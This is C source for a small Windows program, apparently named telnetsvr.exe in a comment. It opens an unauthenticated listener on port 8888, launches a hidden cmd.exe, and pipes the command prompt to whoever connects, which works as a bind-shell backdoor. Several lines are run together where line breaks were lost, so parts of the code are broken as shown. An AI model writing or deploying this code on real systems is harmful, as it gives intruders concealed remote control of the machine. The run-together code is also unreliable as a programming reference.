#define WIN32_LEAN_AND_MEAN#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
/////////////////////////////////////////////////////////////////////
// 全局变量
/////////////////////////////////////////////////////////////////////
unsigned short nPort = 8888; // 端口号SOCKET soListen = INVALID_SOCKET; // 监听插口
SOCKET soAccept = INVALID_SOCKET; // 接受插口HANDLE hChildStdinRd = NULL; // 管道句柄
HANDLE hChildStdinWr = NULL;
HANDLE hChildStdoutWr = NULL;
HANDLE hChildStdoutRd = NULL;
/********************************************************************cmd.exe                                               telnetsvr.exe
---------------------------------------------------------------------
StdOut/StdErr -> hChildStdoutWr ==> hChildStdoutRd -> ReadFile
StdIn         <- hChildStdinRd  <== ChildStdinWr   <- WriteFile********************************************************************/HANDLE hProcess = NULL; // cmd.exe进程句柄
HANDLE hThread[2] = {NULL, NULL}; // 读写线程句柄
DWORD dwThreadID;/////////////////////////////////////////////////////////////////////
// 读管道线程
/////////////////////////////////////////////////////////////////////
DWORD WINAPI ReadAndSend(LPVOID lpParam) {
char szReadBuffer[1000];
DWORD bytesRead;
BOOL ret; while (1) {
ret = ReadFile(hChildStdoutRd, szReadBuffer, 1000, &bytesRead, NULL);
if ((ret == FALSE) && (GetLastError() == ERROR_BROKEN_PIPE))
return FALSE; // 用户使用exit命令终止cmd.exe
else
send(soAccept, szReadBuffer, bytesRead, 0);
} return TRUE;
}
/////////////////////////////////////////////////////////////////////
// 写管道线程
/////////////////////////////////////////////////////////////////////
DWORD WINAPI  RecvAndWrite(LPVOID lpParam) {
char szWriteBuffer[1000];
DWORD bytesWritten;
int nRecv; while (1) {
Sleep(250);
nRecv = recv(soAccept,szWriteBuffer, 1000, 0 );
if ((nRecv == SOCKET_ERROR) || (nRecv == 0))
return FALSE; // 用户断开连接
else
WriteFile(hChildStdinWr, szWriteBuffer, nRecv, &bytesWritten, NULL);
} return TRUE;
}
/////////////////////////////////////////////////////////////////////
// 关闭所有插口、管道句柄,终止cmd.exe进程和读写线程
/////////////////////////////////////////////////////////////////////
void CloseAll() {
int i; if (hChildStdoutWr != NULL) {
CloseHandle(hChildStdoutWr);
hChildStdoutWr = NULL;
}
if (hChildStdoutRd != NULL) {
CloseHandle(hChildStdoutRd);
hChildStdoutRd = NULL;
}
if (hChildStdinRd != NULL) {
CloseHandle(hChildStdinRd);
hChildStdinRd = NULL;
}
if (hChildStdinWr != NULL) {
CloseHandle(hChildStdinWr);
hChildStdinWr = NULL;
} if (soListen != INVALID_SOCKET) {
closesocket(soListen);
soListen = INVALID_SOCKET;
}
if (soAccept != INVALID_SOCKET) {
closesocket(soAccept);
soAccept = INVALID_SOCKET;
} if (hProcess != NULL) {
TerminateProcess(hProcess, FALSE);
hProcess = NULL;
} for (i=0; i<2; i++) {
if (hThread[i] != NULL) {
TerminateThread(hThread[i], FALSE);
hThread[i] = NULL;
}
} WSACleanup();
}
/////////////////////////////////////////////////////////////////////
// 初始化
/////////////////////////////////////////////////////////////////////
int InitAll() {

WSADATA wsaData;
struct sockaddr_in LocalAddr;
struct sockaddr_in FromAddr;
int FromAddrLen; STARTUPINFO si;
PROCESS_INFORMATION pi;
SECURITY_ATTRIBUTES saAttr; // 初始化socket
if (WSAStartup(0x202, &wsaData) == SOCKET_ERROR)
return FALSE; if ( (soListen = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )
return FALSE; LocalAddr.sin_family = AF_INET;
LocalAddr.sin_addr.s_addr = INADDR_ANY; 
LocalAddr.sin_port = htons(nPort); if (bind(soListen, (struct sockaddr*)&LocalAddr, sizeof(LocalAddr) ) == SOCKET_ERROR)
return FALSE; if (listen(soListen, 5) == SOCKET_ERROR)
return FALSE; FromAddrLen =sizeof(FromAddr); if ( (soAccept = accept(soListen, (struct sockaddr*)&FromAddr, &FromAddrLen)) == INVALID_SOCKET )
return FALSE;

// 初始化管道,创建cmd.exe进程
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
saAttr.bInheritHandle = TRUE; 
saAttr.lpSecurityDescriptor = NULL;  if (CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0) == 0)
return FALSE;
if (CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0) == 0)
return FALSE; si.cb = sizeof(si);
GetStartupInfo(&si);
si.hStdInput  = hChildStdinRd;
si.hStdOutput = hChildStdoutWr;
si.hStdError  = hChildStdoutWr;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;

if (CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi) == 0)
return FALSE; hProcess = pi.hProcess; CloseHandle(hChildStdoutWr);
hChildStdoutWr = NULL;
CloseHandle(hChildStdinRd);
hChildStdinRd = NULL; // 创建读写线程
hThread[0] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadAndSend, NULL, 0, &dwThreadID);
hThread[1] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RecvAndWrite, NULL, 0, &dwThreadID); if ((hThread[0] == NULL) || (hThread[1] == NULL)) {
CloseAll();
return FALSE;
} return TRUE;
}
/////////////////////////////////////////////////////////////////////
// 主循环
/////////////////////////////////////////////////////////////////////
int MainLoop() { if (InitAll() != TRUE) {
CloseAll();
return FALSE;
}

WaitForMultipleObjects(2, hThread, FALSE, INFINITE); CloseAll();
return TRUE;
}
/////////////////////////////////////////////////////////////////////
// WinMain()
/////////////////////////////////////////////////////////////////////
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
for (int i=0; i<1; i++) {
MainLoop();
} return TRUE;
}